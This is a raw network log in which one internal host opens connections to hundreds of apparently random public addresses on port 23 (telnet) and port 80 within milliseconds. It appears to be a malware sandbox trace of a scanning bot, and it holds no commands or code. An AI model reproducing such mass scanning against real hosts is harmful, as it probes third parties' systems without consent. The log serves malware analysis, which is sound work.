Jan 5, 2025 14:26:51.622836113 CET	57214	23	192.168.2.13	221.29.10.51
Jan 5, 2025 14:26:51.622842073 CET	57214	23	192.168.2.13	41.156.221.98
Jan 5, 2025 14:26:51.622843027 CET	57214	23	192.168.2.13	161.222.106.43
Jan 5, 2025 14:26:51.622848034 CET	57214	23	192.168.2.13	118.204.40.211
Jan 5, 2025 14:26:51.622843027 CET	57214	23	192.168.2.13	134.220.87.251
Jan 5, 2025 14:26:51.622850895 CET	57214	23	192.168.2.13	72.107.231.179
Jan 5, 2025 14:26:51.622854948 CET	57214	23	192.168.2.13	189.210.229.206
Jan 5, 2025 14:26:51.622854948 CET	57214	23	192.168.2.13	192.153.75.170
Jan 5, 2025 14:26:51.622855902 CET	57214	23	192.168.2.13	60.212.56.57
Jan 5, 2025 14:26:51.622863054 CET	57214	23	192.168.2.13	182.248.118.121
Jan 5, 2025 14:26:51.622864008 CET	57214	23	192.168.2.13	114.181.243.117
Jan 5, 2025 14:26:51.622869968 CET	57214	23	192.168.2.13	199.136.194.81
Jan 5, 2025 14:26:51.622870922 CET	57214	23	192.168.2.13	143.6.254.33
Jan 5, 2025 14:26:51.622872114 CET	57214	23	192.168.2.13	25.15.43.175
Jan 5, 2025 14:26:51.622872114 CET	57214	23	192.168.2.13	223.239.231.118
Jan 5, 2025 14:26:51.622881889 CET	57214	23	192.168.2.13	183.164.217.28
Jan 5, 2025 14:26:51.622888088 CET	57214	23	192.168.2.13	37.0.137.207
Jan 5, 2025 14:26:51.622895956 CET	57214	23	192.168.2.13	35.143.244.195
Jan 5, 2025 14:26:51.622900963 CET	57214	23	192.168.2.13	31.99.119.215
Jan 5, 2025 14:26:51.622919083 CET	57214	23	192.168.2.13	4.136.232.54
Jan 5, 2025 14:26:51.622919083 CET	57214	23	192.168.2.13	113.121.239.186
Jan 5, 2025 14:26:51.622920036 CET	57214	23	192.168.2.13	186.212.56.141
Jan 5, 2025 14:26:51.622920036 CET	57214	23	192.168.2.13	207.214.226.38
Jan 5, 2025 14:26:51.622920036 CET	57214	23	192.168.2.13	158.80.118.69
Jan 5, 2025 14:26:51.622921944 CET	57214	23	192.168.2.13	68.75.58.173
Jan 5, 2025 14:26:51.622939110 CET	57214	23	192.168.2.13	98.91.194.74
Jan 5, 2025 14:26:51.622939110 CET	57214	23	192.168.2.13	111.60.217.226
Jan 5, 2025 14:26:51.622940063 CET	57214	23	192.168.2.13	87.21.167.138
Jan 5, 2025 14:26:51.622940063 CET	57214	23	192.168.2.13	205.25.143.15
Jan 5, 2025 14:26:51.622946978 CET	57214	23	192.168.2.13	142.61.24.206
Jan 5, 2025 14:26:51.622955084 CET	57214	23	192.168.2.13	68.205.32.156
Jan 5, 2025 14:26:51.622962952 CET	57214	23	192.168.2.13	114.142.92.115
Jan 5, 2025 14:26:51.622971058 CET	57214	23	192.168.2.13	44.134.103.161
Jan 5, 2025 14:26:51.622977972 CET	57214	23	192.168.2.13	218.233.124.190
Jan 5, 2025 14:26:51.622986078 CET	57214	23	192.168.2.13	206.88.29.239
Jan 5, 2025 14:26:51.622986078 CET	57214	23	192.168.2.13	5.83.180.47
Jan 5, 2025 14:26:51.623003006 CET	57214	23	192.168.2.13	217.17.91.179
Jan 5, 2025 14:26:51.623003960 CET	57214	23	192.168.2.13	100.22.224.95
Jan 5, 2025 14:26:51.623007059 CET	57214	23	192.168.2.13	57.99.213.127
Jan 5, 2025 14:26:51.623011112 CET	57214	23	192.168.2.13	216.42.159.240
Jan 5, 2025 14:26:51.623013973 CET	57214	23	192.168.2.13	188.24.165.204
Jan 5, 2025 14:26:51.623023033 CET	57214	23	192.168.2.13	124.44.106.124
Jan 5, 2025 14:26:51.623029947 CET	57214	23	192.168.2.13	180.188.99.188
Jan 5, 2025 14:26:51.623029947 CET	57214	23	192.168.2.13	150.1.199.180
Jan 5, 2025 14:26:51.623085976 CET	59292	23	192.168.2.13	134.131.46.107
Jan 5, 2025 14:26:51.623097897 CET	57282	23	192.168.2.13	72.171.16.106
Jan 5, 2025 14:26:51.623109102 CET	33700	23	192.168.2.13	91.181.157.107
Jan 5, 2025 14:26:51.623122931 CET	46692	23	192.168.2.13	218.255.160.172
Jan 5, 2025 14:26:51.623135090 CET	38476	23	192.168.2.13	185.144.244.25
Jan 5, 2025 14:26:51.623148918 CET	46414	23	192.168.2.13	40.87.116.21
Jan 5, 2025 14:26:51.623163939 CET	50912	23	192.168.2.13	192.109.44.215
Jan 5, 2025 14:26:51.623178959 CET	52538	23	192.168.2.13	184.207.93.58
Jan 5, 2025 14:26:51.623186111 CET	47702	23	192.168.2.13	73.90.13.63
Jan 5, 2025 14:26:51.623203039 CET	37570	23	192.168.2.13	27.7.219.11
Jan 5, 2025 14:26:51.623217106 CET	47834	23	192.168.2.13	165.48.177.188
Jan 5, 2025 14:26:51.623228073 CET	41530	23	192.168.2.13	173.74.147.115
Jan 5, 2025 14:26:51.623246908 CET	37850	23	192.168.2.13	82.1.190.6
Jan 5, 2025 14:26:51.623258114 CET	48202	23	192.168.2.13	62.204.53.104
Jan 5, 2025 14:26:51.623270988 CET	33182	23	192.168.2.13	189.110.96.5
Jan 5, 2025 14:26:51.623279095 CET	60554	23	192.168.2.13	57.87.60.192
Jan 5, 2025 14:26:51.623296022 CET	35468	23	192.168.2.13	35.44.156.252
Jan 5, 2025 14:26:51.623305082 CET	49172	23	192.168.2.13	171.249.220.193
Jan 5, 2025 14:26:51.623326063 CET	35530	23	192.168.2.13	81.141.49.95
Jan 5, 2025 14:26:51.623333931 CET	33036	23	192.168.2.13	130.4.212.38
Jan 5, 2025 14:26:51.623352051 CET	50714	23	192.168.2.13	20.64.35.248
Jan 5, 2025 14:26:51.623366117 CET	58440	23	192.168.2.13	120.162.210.222
Jan 5, 2025 14:26:51.623378992 CET	51872	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:51.623389959 CET	35222	23	192.168.2.13	126.122.25.59
Jan 5, 2025 14:26:51.623403072 CET	52242	23	192.168.2.13	192.88.16.170
Jan 5, 2025 14:26:51.623414040 CET	51918	23	192.168.2.13	114.248.116.37
Jan 5, 2025 14:26:51.623429060 CET	36172	23	192.168.2.13	143.5.144.46
Jan 5, 2025 14:26:51.623440027 CET	49154	23	192.168.2.13	172.78.203.242
Jan 5, 2025 14:26:51.623454094 CET	46436	23	192.168.2.13	40.187.155.252
Jan 5, 2025 14:26:51.623469114 CET	48328	23	192.168.2.13	68.239.10.208
Jan 5, 2025 14:26:51.623481989 CET	49686	23	192.168.2.13	170.137.192.196
Jan 5, 2025 14:26:51.623488903 CET	50480	23	192.168.2.13	12.74.26.216
Jan 5, 2025 14:26:51.623506069 CET	38196	23	192.168.2.13	121.194.104.226
Jan 5, 2025 14:26:51.623523951 CET	41214	23	192.168.2.13	106.152.185.208
Jan 5, 2025 14:26:51.623544931 CET	52362	23	192.168.2.13	198.52.146.165
Jan 5, 2025 14:26:51.623558044 CET	48798	23	192.168.2.13	137.203.156.97
Jan 5, 2025 14:26:51.623560905 CET	57660	23	192.168.2.13	37.64.134.63
Jan 5, 2025 14:26:51.623579979 CET	33200	23	192.168.2.13	177.142.33.22
Jan 5, 2025 14:26:51.623594046 CET	36832	23	192.168.2.13	92.229.23.10
Jan 5, 2025 14:26:51.623606920 CET	49318	23	192.168.2.13	144.208.77.183
Jan 5, 2025 14:26:51.623622894 CET	39868	23	192.168.2.13	57.176.238.223
Jan 5, 2025 14:26:51.623635054 CET	51950	23	192.168.2.13	106.0.239.219
Jan 5, 2025 14:26:51.623663902 CET	33394	23	192.168.2.13	101.72.186.143
Jan 5, 2025 14:26:51.623666048 CET	51306	23	192.168.2.13	18.142.171.92
Jan 5, 2025 14:26:51.623666048 CET	49214	23	192.168.2.13	174.125.8.174
Jan 5, 2025 14:26:51.623694897 CET	49546	23	192.168.2.13	149.93.239.215
Jan 5, 2025 14:26:51.623707056 CET	58014	23	192.168.2.13	43.77.215.174
Jan 5, 2025 14:26:51.623720884 CET	56832	23	192.168.2.13	172.100.75.125
Jan 5, 2025 14:26:51.623740911 CET	46176	23	192.168.2.13	48.94.23.78
Jan 5, 2025 14:26:51.623760939 CET	51596	23	192.168.2.13	155.246.121.187
Jan 5, 2025 14:26:51.623760939 CET	33410	23	192.168.2.13	184.94.14.70
Jan 5, 2025 14:26:51.623781919 CET	33586	23	192.168.2.13	158.247.147.163
Jan 5, 2025 14:26:51.623795986 CET	49148	23	192.168.2.13	158.198.89.125
Jan 5, 2025 14:26:51.623806953 CET	45500	23	192.168.2.13	76.220.145.198
Jan 5, 2025 14:26:51.623825073 CET	54608	23	192.168.2.13	12.193.2.50
Jan 5, 2025 14:26:51.623836994 CET	33026	23	192.168.2.13	209.117.177.151
Jan 5, 2025 14:26:51.623847008 CET	60044	23	192.168.2.13	78.37.25.1
Jan 5, 2025 14:26:51.623859882 CET	34012	23	192.168.2.13	176.126.127.64
Jan 5, 2025 14:26:51.623868942 CET	50998	23	192.168.2.13	115.204.120.17
Jan 5, 2025 14:26:51.623876095 CET	37244	23	192.168.2.13	185.75.52.1
Jan 5, 2025 14:26:51.623891115 CET	33852	23	192.168.2.13	46.100.53.18
Jan 5, 2025 14:26:51.623897076 CET	42704	23	192.168.2.13	130.107.34.39
Jan 5, 2025 14:26:51.623915911 CET	51672	23	192.168.2.13	171.176.110.151
Jan 5, 2025 14:26:51.623924017 CET	45696	23	192.168.2.13	117.65.92.67
Jan 5, 2025 14:26:51.623938084 CET	39258	23	192.168.2.13	182.185.8.39
Jan 5, 2025 14:26:51.623944998 CET	35342	23	192.168.2.13	90.217.44.56
Jan 5, 2025 14:26:51.623964071 CET	38452	23	192.168.2.13	175.98.9.16
Jan 5, 2025 14:26:51.623976946 CET	38988	23	192.168.2.13	138.193.41.95
Jan 5, 2025 14:26:51.623994112 CET	51838	23	192.168.2.13	74.142.1.65
Jan 5, 2025 14:26:51.624001980 CET	41418	23	192.168.2.13	139.155.60.198
Jan 5, 2025 14:26:51.624032021 CET	47960	23	192.168.2.13	141.243.72.29
Jan 5, 2025 14:26:51.624036074 CET	42910	23	192.168.2.13	123.209.196.126
Jan 5, 2025 14:26:51.624037027 CET	42526	23	192.168.2.13	114.132.7.169
Jan 5, 2025 14:26:51.624037027 CET	56022	23	192.168.2.13	12.130.211.154
Jan 5, 2025 14:26:51.624054909 CET	33304	23	192.168.2.13	116.129.228.120
Jan 5, 2025 14:26:51.624064922 CET	34178	23	192.168.2.13	13.13.250.80
Jan 5, 2025 14:26:51.624068022 CET	38622	23	192.168.2.13	60.125.138.99
Jan 5, 2025 14:26:51.624088049 CET	33798	23	192.168.2.13	130.151.57.76
Jan 5, 2025 14:26:51.624094009 CET	41466	23	192.168.2.13	108.219.151.134
Jan 5, 2025 14:26:51.624104023 CET	39778	23	192.168.2.13	105.134.236.117
Jan 5, 2025 14:26:51.624118090 CET	44344	23	192.168.2.13	108.249.25.160
Jan 5, 2025 14:26:51.624133110 CET	47544	23	192.168.2.13	27.34.82.63
Jan 5, 2025 14:26:51.624146938 CET	44802	23	192.168.2.13	172.62.193.94
Jan 5, 2025 14:26:51.624154091 CET	46062	23	192.168.2.13	129.35.49.166
Jan 5, 2025 14:26:51.624167919 CET	55994	23	192.168.2.13	128.119.103.35
Jan 5, 2025 14:26:51.624176025 CET	33064	23	192.168.2.13	142.33.143.232
Jan 5, 2025 14:26:51.624186993 CET	59364	23	192.168.2.13	145.159.131.164
Jan 5, 2025 14:26:51.624191999 CET	51408	23	192.168.2.13	174.176.140.103
Jan 5, 2025 14:26:51.624212980 CET	60524	23	192.168.2.13	4.156.150.38
Jan 5, 2025 14:26:51.624221087 CET	47010	23	192.168.2.13	72.105.254.26
Jan 5, 2025 14:26:51.624243975 CET	54718	23	192.168.2.13	153.158.224.65
Jan 5, 2025 14:26:51.624258041 CET	59668	23	192.168.2.13	65.68.111.240
Jan 5, 2025 14:26:51.624269009 CET	42262	23	192.168.2.13	94.225.230.58
Jan 5, 2025 14:26:51.624281883 CET	34498	23	192.168.2.13	152.217.73.227
Jan 5, 2025 14:26:51.624286890 CET	52362	23	192.168.2.13	43.238.132.81
Jan 5, 2025 14:26:51.624301910 CET	49878	23	192.168.2.13	180.230.185.83
Jan 5, 2025 14:26:51.624319077 CET	47802	23	192.168.2.13	183.66.48.160
Jan 5, 2025 14:26:51.624331951 CET	57550	23	192.168.2.13	222.205.166.75
Jan 5, 2025 14:26:51.624339104 CET	56360	23	192.168.2.13	105.122.243.73
Jan 5, 2025 14:26:51.624350071 CET	36376	23	192.168.2.13	223.41.252.204
Jan 5, 2025 14:26:51.624362946 CET	37174	23	192.168.2.13	112.89.74.113
Jan 5, 2025 14:26:51.624377012 CET	51068	23	192.168.2.13	189.244.170.99
Jan 5, 2025 14:26:51.624392033 CET	45940	23	192.168.2.13	203.132.104.165
Jan 5, 2025 14:26:51.624403000 CET	37696	23	192.168.2.13	209.10.152.66
Jan 5, 2025 14:26:51.624416113 CET	38910	23	192.168.2.13	192.46.92.46
Jan 5, 2025 14:26:51.624423027 CET	52444	23	192.168.2.13	118.141.145.205
Jan 5, 2025 14:26:51.624433994 CET	53752	23	192.168.2.13	192.1.216.29
Jan 5, 2025 14:26:51.624448061 CET	41322	23	192.168.2.13	74.113.89.253
Jan 5, 2025 14:26:51.624459028 CET	56430	23	192.168.2.13	107.148.233.179
Jan 5, 2025 14:26:51.624471903 CET	51770	23	192.168.2.13	4.60.191.109
Jan 5, 2025 14:26:51.624486923 CET	51042	23	192.168.2.13	65.254.72.249
Jan 5, 2025 14:26:51.624492884 CET	56318	23	192.168.2.13	113.182.234.139
Jan 5, 2025 14:26:51.624511957 CET	38006	23	192.168.2.13	185.5.61.22
Jan 5, 2025 14:26:51.624526024 CET	60960	23	192.168.2.13	198.73.78.237
Jan 5, 2025 14:26:51.624538898 CET	57924	23	192.168.2.13	52.210.216.145
Jan 5, 2025 14:26:51.624550104 CET	48682	23	192.168.2.13	64.83.120.70
Jan 5, 2025 14:26:51.624567032 CET	49708	23	192.168.2.13	161.41.229.6
Jan 5, 2025 14:26:51.624573946 CET	39048	23	192.168.2.13	195.45.54.46
Jan 5, 2025 14:26:51.624593019 CET	39752	23	192.168.2.13	84.16.242.132
Jan 5, 2025 14:26:51.624600887 CET	45662	23	192.168.2.13	218.37.164.166
Jan 5, 2025 14:26:51.624610901 CET	45076	23	192.168.2.13	92.8.146.10
Jan 5, 2025 14:26:51.624624014 CET	53866	23	192.168.2.13	50.28.230.253
Jan 5, 2025 14:26:51.624629021 CET	56792	23	192.168.2.13	204.230.43.185
Jan 5, 2025 14:26:51.624644995 CET	37884	23	192.168.2.13	154.146.142.2
Jan 5, 2025 14:26:51.624661922 CET	35744	23	192.168.2.13	69.177.181.104
Jan 5, 2025 14:26:51.624677896 CET	59226	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:51.624689102 CET	50208	23	192.168.2.13	173.99.109.48
Jan 5, 2025 14:26:51.624707937 CET	36260	23	192.168.2.13	74.224.41.203
Jan 5, 2025 14:26:51.624748945 CET	56958	80	192.168.2.13	42.121.176.162
Jan 5, 2025 14:26:51.624752045 CET	56958	80	192.168.2.13	31.187.84.190
Jan 5, 2025 14:26:51.624763966 CET	56958	80	192.168.2.13	181.47.118.207
Jan 5, 2025 14:26:51.624764919 CET	56958	80	192.168.2.13	120.21.193.120
Jan 5, 2025 14:26:51.624769926 CET	56958	80	192.168.2.13	49.103.20.44
Jan 5, 2025 14:26:51.624773979 CET	56958	80	192.168.2.13	89.144.136.137
Jan 5, 2025 14:26:51.624789953 CET	56958	80	192.168.2.13	82.180.96.51
Jan 5, 2025 14:26:51.624790907 CET	56958	80	192.168.2.13	219.225.41.103
Jan 5, 2025 14:26:51.624790907 CET	56958	80	192.168.2.13	84.191.186.144
Jan 5, 2025 14:26:51.624798059 CET	56958	80	192.168.2.13	103.27.180.98
Jan 5, 2025 14:26:51.624804020 CET	56958	80	192.168.2.13	223.200.234.119
Jan 5, 2025 14:26:51.624814034 CET	56958	80	192.168.2.13	44.246.24.24
Jan 5, 2025 14:26:51.624823093 CET	56958	80	192.168.2.13	135.155.71.169
Jan 5, 2025 14:26:51.624825954 CET	56958	80	192.168.2.13	210.27.172.255
Jan 5, 2025 14:26:51.624835968 CET	56958	80	192.168.2.13	13.223.3.178
Jan 5, 2025 14:26:51.624846935 CET	56958	80	192.168.2.13	186.89.198.220
Jan 5, 2025 14:26:51.624849081 CET	56958	80	192.168.2.13	96.172.202.56
Jan 5, 2025 14:26:51.624855995 CET	56958	80	192.168.2.13	131.218.94.200
Jan 5, 2025 14:26:51.624864101 CET	56958	80	192.168.2.13	210.101.238.222
Jan 5, 2025 14:26:51.624871016 CET	56958	80	192.168.2.13	4.14.254.28
Jan 5, 2025 14:26:51.624878883 CET	56958	80	192.168.2.13	72.192.50.8
Jan 5, 2025 14:26:51.624885082 CET	56958	80	192.168.2.13	195.168.75.110
Jan 5, 2025 14:26:51.624886036 CET	56958	80	192.168.2.13	156.144.171.43
Jan 5, 2025 14:26:51.624901056 CET	56958	80	192.168.2.13	12.25.20.227
Jan 5, 2025 14:26:51.624902964 CET	56958	80	192.168.2.13	166.38.62.254
Jan 5, 2025 14:26:51.624907970 CET	56958	80	192.168.2.13	49.178.62.77
Jan 5, 2025 14:26:51.624912024 CET	56958	80	192.168.2.13	85.55.125.197
Jan 5, 2025 14:26:51.624912977 CET	56958	80	192.168.2.13	79.179.99.76
Jan 5, 2025 14:26:51.624917984 CET	56958	80	192.168.2.13	155.102.60.126
Jan 5, 2025 14:26:51.624927044 CET	56958	80	192.168.2.13	95.227.140.104
Jan 5, 2025 14:26:51.624927998 CET	56958	80	192.168.2.13	206.222.1.7
Jan 5, 2025 14:26:51.624941111 CET	56958	80	192.168.2.13	196.129.199.99
Jan 5, 2025 14:26:51.624948025 CET	56958	80	192.168.2.13	160.227.19.94
Jan 5, 2025 14:26:51.624948025 CET	56958	80	192.168.2.13	171.153.186.245
Jan 5, 2025 14:26:51.624963045 CET	56958	80	192.168.2.13	164.20.219.54
Jan 5, 2025 14:26:51.624969006 CET	56958	80	192.168.2.13	65.15.72.218
Jan 5, 2025 14:26:51.624972105 CET	56958	80	192.168.2.13	20.172.164.100
Jan 5, 2025 14:26:51.624980927 CET	56958	80	192.168.2.13	24.33.137.221
Jan 5, 2025 14:26:51.624985933 CET	56958	80	192.168.2.13	174.136.200.40
Jan 5, 2025 14:26:51.624986887 CET	56958	80	192.168.2.13	4.44.130.197
Jan 5, 2025 14:26:51.625004053 CET	56958	80	192.168.2.13	190.57.153.160
Jan 5, 2025 14:26:51.625005960 CET	56958	80	192.168.2.13	80.57.148.195
Jan 5, 2025 14:26:51.625010967 CET	56958	80	192.168.2.13	13.5.159.90
Jan 5, 2025 14:26:51.625011921 CET	56958	80	192.168.2.13	64.186.113.54
Jan 5, 2025 14:26:51.625019073 CET	56958	80	192.168.2.13	89.184.77.223
Jan 5, 2025 14:26:51.625031948 CET	56958	80	192.168.2.13	190.8.216.147
Jan 5, 2025 14:26:51.625041008 CET	56958	80	192.168.2.13	31.188.31.25
Jan 5, 2025 14:26:51.625041008 CET	56958	80	192.168.2.13	149.65.25.126
Jan 5, 2025 14:26:51.625056028 CET	56958	80	192.168.2.13	138.239.47.180
Jan 5, 2025 14:26:51.625066996 CET	56958	80	192.168.2.13	131.32.94.54
Jan 5, 2025 14:26:51.625073910 CET	56958	80	192.168.2.13	182.83.127.182
Jan 5, 2025 14:26:51.625076056 CET	56958	80	192.168.2.13	210.213.119.186
Jan 5, 2025 14:26:51.625076056 CET	56958	80	192.168.2.13	118.248.167.141
Jan 5, 2025 14:26:51.625077009 CET	56958	80	192.168.2.13	181.182.30.149
Jan 5, 2025 14:26:51.625093937 CET	56958	80	192.168.2.13	1.244.84.11
Jan 5, 2025 14:26:51.625093937 CET	56958	80	192.168.2.13	118.190.46.54
Jan 5, 2025 14:26:51.625096083 CET	56958	80	192.168.2.13	44.47.115.169
Jan 5, 2025 14:26:51.625096083 CET	56958	80	192.168.2.13	152.175.230.212
Jan 5, 2025 14:26:51.625096083 CET	56958	80	192.168.2.13	4.60.3.25
Jan 5, 2025 14:26:51.625101089 CET	56958	80	192.168.2.13	12.114.152.208
Jan 5, 2025 14:26:51.625101089 CET	56958	80	192.168.2.13	157.139.90.156
Jan 5, 2025 14:26:51.625106096 CET	56958	80	192.168.2.13	5.129.93.2
Jan 5, 2025 14:26:51.625108004 CET	56958	80	192.168.2.13	193.58.119.186
Jan 5, 2025 14:26:51.625108957 CET	56958	80	192.168.2.13	2.178.150.214
Jan 5, 2025 14:26:51.625108957 CET	56958	80	192.168.2.13	186.42.22.251
Jan 5, 2025 14:26:51.625116110 CET	56958	80	192.168.2.13	181.18.206.105
Jan 5, 2025 14:26:51.625123978 CET	56958	80	192.168.2.13	63.29.101.136
Jan 5, 2025 14:26:51.625133038 CET	56958	80	192.168.2.13	51.157.237.129
Jan 5, 2025 14:26:51.625133991 CET	56958	80	192.168.2.13	18.142.46.234
Jan 5, 2025 14:26:51.625155926 CET	56958	80	192.168.2.13	186.109.130.7
Jan 5, 2025 14:26:51.625158072 CET	56958	80	192.168.2.13	109.183.193.155
Jan 5, 2025 14:26:51.625158072 CET	56958	80	192.168.2.13	9.166.100.87
Jan 5, 2025 14:26:51.625164986 CET	56958	80	192.168.2.13	40.178.235.149
Jan 5, 2025 14:26:51.625164986 CET	56958	80	192.168.2.13	184.109.199.88
Jan 5, 2025 14:26:51.625166893 CET	56958	80	192.168.2.13	167.106.244.253
Jan 5, 2025 14:26:51.625176907 CET	56958	80	192.168.2.13	175.145.213.174
Jan 5, 2025 14:26:51.625178099 CET	56958	80	192.168.2.13	82.150.230.202
Jan 5, 2025 14:26:51.625179052 CET	56958	80	192.168.2.13	216.3.29.51
Jan 5, 2025 14:26:51.625179052 CET	56958	80	192.168.2.13	157.156.68.192
Jan 5, 2025 14:26:51.625181913 CET	56958	80	192.168.2.13	88.249.96.14
Jan 5, 2025 14:26:51.625181913 CET	56958	80	192.168.2.13	138.179.164.99
Jan 5, 2025 14:26:51.625181913 CET	56958	80	192.168.2.13	144.43.97.35
Jan 5, 2025 14:26:51.625181913 CET	56958	80	192.168.2.13	14.107.248.32
Jan 5, 2025 14:26:51.625190020 CET	56958	80	192.168.2.13	75.229.120.68
Jan 5, 2025 14:26:51.625190020 CET	56958	80	192.168.2.13	119.22.135.15
Jan 5, 2025 14:26:51.625190020 CET	56958	80	192.168.2.13	9.191.177.140
Jan 5, 2025 14:26:51.625190973 CET	56958	80	192.168.2.13	79.251.109.120
Jan 5, 2025 14:26:51.625190973 CET	56958	80	192.168.2.13	149.196.38.221
Jan 5, 2025 14:26:51.625190020 CET	56958	80	192.168.2.13	165.165.210.186
Jan 5, 2025 14:26:51.625190973 CET	56958	80	192.168.2.13	75.77.68.44
Jan 5, 2025 14:26:51.625200033 CET	56958	80	192.168.2.13	117.45.56.0
Jan 5, 2025 14:26:51.625200987 CET	56958	80	192.168.2.13	153.66.244.235
Jan 5, 2025 14:26:51.625201941 CET	56958	80	192.168.2.13	216.72.230.118
Jan 5, 2025 14:26:51.625201941 CET	56958	80	192.168.2.13	112.18.158.181
Jan 5, 2025 14:26:51.625212908 CET	56958	80	192.168.2.13	50.56.29.211
Jan 5, 2025 14:26:51.625212908 CET	56958	80	192.168.2.13	134.125.74.241
Jan 5, 2025 14:26:51.625215054 CET	56958	80	192.168.2.13	128.84.162.100
Jan 5, 2025 14:26:51.625215054 CET	56958	80	192.168.2.13	4.24.104.152
Jan 5, 2025 14:26:51.625215054 CET	56958	80	192.168.2.13	19.203.116.226
Jan 5, 2025 14:26:51.625215054 CET	56958	80	192.168.2.13	93.120.177.128
Jan 5, 2025 14:26:51.625219107 CET	56958	80	192.168.2.13	119.24.21.99
Jan 5, 2025 14:26:51.625219107 CET	56958	80	192.168.2.13	199.127.98.107
Jan 5, 2025 14:26:51.625219107 CET	56958	80	192.168.2.13	221.131.166.195
Jan 5, 2025 14:26:51.625222921 CET	56958	80	192.168.2.13	148.6.186.151
Jan 5, 2025 14:26:51.625222921 CET	56958	80	192.168.2.13	101.168.225.171
Jan 5, 2025 14:26:51.625224113 CET	56958	80	192.168.2.13	34.48.243.102
Jan 5, 2025 14:26:51.625225067 CET	56958	80	192.168.2.13	182.6.53.191
Jan 5, 2025 14:26:51.625226021 CET	56958	80	192.168.2.13	18.249.108.227
Jan 5, 2025 14:26:51.625226974 CET	56958	80	192.168.2.13	50.248.71.61
Jan 5, 2025 14:26:51.625226974 CET	56958	80	192.168.2.13	211.218.63.92
Jan 5, 2025 14:26:51.625232935 CET	56958	80	192.168.2.13	47.147.89.68
Jan 5, 2025 14:26:51.625233889 CET	56958	80	192.168.2.13	162.213.109.244
Jan 5, 2025 14:26:51.625235081 CET	56958	80	192.168.2.13	210.188.249.194
Jan 5, 2025 14:26:51.625247002 CET	56958	80	192.168.2.13	1.35.142.250
Jan 5, 2025 14:26:51.625251055 CET	56958	80	192.168.2.13	74.148.237.176
Jan 5, 2025 14:26:51.625258923 CET	56958	80	192.168.2.13	150.176.120.27
Jan 5, 2025 14:26:51.625268936 CET	56958	80	192.168.2.13	138.116.244.125
Jan 5, 2025 14:26:51.625272036 CET	56958	80	192.168.2.13	63.100.188.61
Jan 5, 2025 14:26:51.625279903 CET	56958	80	192.168.2.13	151.121.143.7
Jan 5, 2025 14:26:51.625287056 CET	56958	80	192.168.2.13	80.212.8.96
Jan 5, 2025 14:26:51.625298023 CET	56958	80	192.168.2.13	119.232.11.178
Jan 5, 2025 14:26:51.625298023 CET	56958	80	192.168.2.13	54.200.175.193
Jan 5, 2025 14:26:51.625322104 CET	56958	80	192.168.2.13	65.245.251.249
Jan 5, 2025 14:26:51.625324011 CET	56958	80	192.168.2.13	40.96.128.234
Jan 5, 2025 14:26:51.625324011 CET	56958	80	192.168.2.13	134.118.53.47
Jan 5, 2025 14:26:51.625328064 CET	56958	80	192.168.2.13	122.242.48.135
Jan 5, 2025 14:26:51.625328064 CET	56958	80	192.168.2.13	19.231.176.28
Jan 5, 2025 14:26:51.625339031 CET	56958	80	192.168.2.13	99.13.56.129
Jan 5, 2025 14:26:51.625354052 CET	56958	80	192.168.2.13	204.42.223.228
Jan 5, 2025 14:26:51.625358105 CET	56958	80	192.168.2.13	132.71.149.196
Jan 5, 2025 14:26:51.625358105 CET	56958	80	192.168.2.13	198.136.39.132
Jan 5, 2025 14:26:51.625368118 CET	56958	80	192.168.2.13	208.93.80.87
Jan 5, 2025 14:26:51.625377893 CET	56958	80	192.168.2.13	120.196.35.188
Jan 5, 2025 14:26:51.625377893 CET	56958	80	192.168.2.13	195.136.19.202
Jan 5, 2025 14:26:51.625379086 CET	56958	80	192.168.2.13	94.28.250.236
Jan 5, 2025 14:26:51.625394106 CET	56958	80	192.168.2.13	188.237.235.95
Jan 5, 2025 14:26:51.625401020 CET	56958	80	192.168.2.13	47.217.135.68
Jan 5, 2025 14:26:51.625406981 CET	56958	80	192.168.2.13	192.75.62.237
Jan 5, 2025 14:26:51.625420094 CET	56958	80	192.168.2.13	204.179.43.103
Jan 5, 2025 14:26:51.625421047 CET	56958	80	192.168.2.13	5.70.145.118
Jan 5, 2025 14:26:51.625421047 CET	56958	80	192.168.2.13	141.42.235.95
Jan 5, 2025 14:26:51.625437975 CET	56958	80	192.168.2.13	20.98.131.36
Jan 5, 2025 14:26:51.625442028 CET	56958	80	192.168.2.13	105.213.5.172
Jan 5, 2025 14:26:51.625442028 CET	56958	80	192.168.2.13	199.190.183.237
Jan 5, 2025 14:26:51.625443935 CET	56958	80	192.168.2.13	121.32.166.54
Jan 5, 2025 14:26:51.625443935 CET	56958	80	192.168.2.13	35.104.97.12
Jan 5, 2025 14:26:51.625459909 CET	56958	80	192.168.2.13	160.233.86.86
Jan 5, 2025 14:26:51.625462055 CET	56958	80	192.168.2.13	188.130.130.162
Jan 5, 2025 14:26:51.625478029 CET	56958	80	192.168.2.13	136.255.76.159
Jan 5, 2025 14:26:51.625478029 CET	56958	80	192.168.2.13	58.154.220.102
Jan 5, 2025 14:26:51.625480890 CET	56958	80	192.168.2.13	96.104.32.37
Jan 5, 2025 14:26:51.625483990 CET	56958	80	192.168.2.13	142.193.124.77
Jan 5, 2025 14:26:51.625495911 CET	56958	80	192.168.2.13	66.66.133.57
Jan 5, 2025 14:26:51.625495911 CET	56958	80	192.168.2.13	78.104.126.66
Jan 5, 2025 14:26:51.625500917 CET	56958	80	192.168.2.13	135.225.114.76
Jan 5, 2025 14:26:51.625509977 CET	56958	80	192.168.2.13	213.197.62.55
Jan 5, 2025 14:26:51.625514030 CET	56958	80	192.168.2.13	48.56.115.244
Jan 5, 2025 14:26:51.625515938 CET	56958	80	192.168.2.13	197.159.246.2
Jan 5, 2025 14:26:51.625535965 CET	56958	80	192.168.2.13	216.197.244.102
Jan 5, 2025 14:26:51.625535965 CET	56958	80	192.168.2.13	60.211.183.44
Jan 5, 2025 14:26:51.625535965 CET	56958	80	192.168.2.13	5.12.103.112
Jan 5, 2025 14:26:51.625535965 CET	56958	80	192.168.2.13	154.168.71.166
Jan 5, 2025 14:26:51.625544071 CET	56958	80	192.168.2.13	218.97.83.126
Jan 5, 2025 14:26:51.625544071 CET	56958	80	192.168.2.13	110.255.152.38
Jan 5, 2025 14:26:51.625544071 CET	56958	80	192.168.2.13	171.58.246.79
Jan 5, 2025 14:26:51.625545979 CET	56958	80	192.168.2.13	57.164.163.138
Jan 5, 2025 14:26:51.625550985 CET	56958	80	192.168.2.13	169.113.46.30
Jan 5, 2025 14:26:51.625566006 CET	56958	80	192.168.2.13	82.36.51.40
